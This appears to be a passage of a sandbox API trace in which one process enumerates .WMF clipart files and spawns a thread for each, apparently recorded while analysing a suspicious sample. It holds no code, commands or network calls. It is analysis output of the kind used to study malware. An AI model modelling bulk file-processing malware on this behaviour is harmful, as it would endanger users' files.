	[0277.813] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.814] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d68, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02022_.WMF", cAlternateFileName="")) returned 1
	[0277.814] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fca5230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2744
	[0277.816] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.817] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23a8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02024_.WMF", cAlternateFileName="")) returned 1
	[0277.817] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fca8910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2748
	[0277.819] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.820] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2016, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02025_.WMF", cAlternateFileName="")) returned 1
	[0277.820] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcabff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x274c
	[0277.822] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.822] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24c8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02028_.WMF", cAlternateFileName="")) returned 1
	[0277.823] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcaf6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2750
	[0277.824] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.825] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x266c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02045_.WMF", cAlternateFileName="")) returned 1
	[0277.825] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcb2db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2754
	[0277.827] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.828] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fde, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02048_.WMF", cAlternateFileName="")) returned 1
	[0277.828] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcb6490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2758
	[0277.830] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.831] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c2c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02051_.WMF", cAlternateFileName="")) returned 1
	[0277.831] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.831] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcb9b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x275c
	[0277.833] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.834] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e1d7400, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e1d7400, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x30ca, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02054_.WMF", cAlternateFileName="")) returned 1
	[0277.834] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcbd250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2760
	[0277.836] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.836] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cec4700, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cec4700, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x4c4c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02055_.WMF", cAlternateFileName="")) returned 1
	[0277.836] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcc0930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2764
	[0277.957] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.958] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8362df00, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8362df00, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x382a, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02067_.WMF", cAlternateFileName="")) returned 1
	[0277.958] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.959] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2768
	[0277.960] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.961] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63332000, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63332000, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x1b4a, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02094_.WMF", cAlternateFileName="")) returned 1
	[0277.961] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.962] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcc4010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x276c
	[0277.963] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.964] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95d01f00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95d01f00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02227_.WMF", cAlternateFileName="")) returned 1
	[0277.964] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcc76f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2770
	[0277.966] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.967] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf83e1500, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf83e1500, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x334, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02228_.WMF", cAlternateFileName="")) returned 1
	[0277.967] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fccadd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2774
	[0277.969] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.969] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd30a00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcd30a00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02233_.WMF", cAlternateFileName="")) returned 1
	[0277.969] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcce4b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2778
	[0277.972] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.972] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73eb9200, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73eb9200, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xe88, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02252_.WMF", cAlternateFileName="")) returned 1
	[0277.972] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcd1b90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x277c
	[0277.974] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.975] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26de00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26de00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x8e0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02253_.WMF", cAlternateFileName="")) returned 1
	[0277.975] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcd5270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2780
	[0277.977] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.977] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1436bc00, ftCreationTime.dwHighDateTime=0x1bd4be4, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1436bc00, ftLastWriteTime.dwHighDateTime=0x1bd4be4, nFileSizeHigh=0x0, nFileSizeLow=0x818, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02261_.WMF", cAlternateFileName="")) returned 1
	[0277.978] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcd8950, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2784
	[0277.979] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.980] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3be44f00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3be44f00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xa94, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02263_.WMF", cAlternateFileName="")) returned 1
	[0277.982] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcdc030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2788
	[0277.985] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.985] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325ae700, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x325ae700, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02265_.WMF", cAlternateFileName="")) returned 1
	[0277.985] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcdf710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x278c
	[0277.988] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.988] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e16ea00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e16ea00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02268_.WMF", cAlternateFileName="")) returned 1
	[0277.988] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0277.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fce2df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2790
	[0277.990] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.991] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a836300, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a836300, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xaf0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02269_.WMF", cAlternateFileName="")) returned 1
	[0277.991] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.228] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2794
	[0278.230] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.231] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16efdc00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16efdc00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xa68, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02270_.WMF", cAlternateFileName="")) returned 1
	[0278.231] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.233] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2798
	[0278.234] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.235] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3963e00, ftCreationTime.dwHighDateTime=0x1bd4c04, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3963e00, ftLastWriteTime.dwHighDateTime=0x1bd4c04, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02276_.WMF", cAlternateFileName="")) returned 1
	[0278.235] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.236] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x279c
	[0278.237] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.238] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e7d7f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e7d7f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x17a1c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02413_.WMF", cAlternateFileName="")) returned 1
	[0278.238] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.239] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27a0
	[0278.241] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.242] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9503b100, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9503b100, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02431_.WMF", cAlternateFileName="")) returned 1
	[0278.242] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.243] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27a4
	[0278.245] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.246] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x937fbc00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x937fbc00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x5b4, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02437_.WMF", cAlternateFileName="")) returned 1
	[0278.246] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.247] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27a8
	[0278.248] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.249] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8793fa00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8793fa00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02439_.WMF", cAlternateFileName="")) returned 1
	[0278.249] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
